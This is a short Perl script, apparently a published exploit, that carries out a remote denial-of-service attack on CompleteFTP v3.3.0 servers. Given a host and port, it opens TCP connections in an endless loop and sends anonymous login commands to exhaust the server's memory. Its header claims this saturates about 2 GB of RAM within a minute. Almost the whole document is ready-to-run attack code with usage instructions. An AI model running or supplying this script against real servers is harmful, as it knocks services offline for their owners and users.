#!/usr/bin/perl
#
# Title:   CompleteFTP v3.3.0 - Remote Memory Consumption DoS
# Author:  Jonathan Salwan <submit(!)shell-storm.org>
# Web:     http://www.shell-storm.org
#
# ~60 sec for satured ~2Go RAM
#

use IO::Socket;

print "\n[x]CompleteFTP v3.3.0 - Remote Memory Consumption DoS\n";

 if (@ARGV < 1)
  {
   print "[-] Usage: <file.pl> <host> <port>\n";
   print "[-] Exemple: file.pl 127.0.0.1 21\n\n";
   exit;
  }

 $ip  = $ARGV[0];
 $port  = $ARGV[1];
 $login  = "USER anonymous\r\n";
 $pwd  = "PASS anonymous\r\n";

 $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "[-] Connecting: Failed!\n";

 print "Please Wait...\n";

 while(){
  $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port");
  $socket->recv($answer,2048);
  $socket->send($login);
  $socket->send($pwd);
  }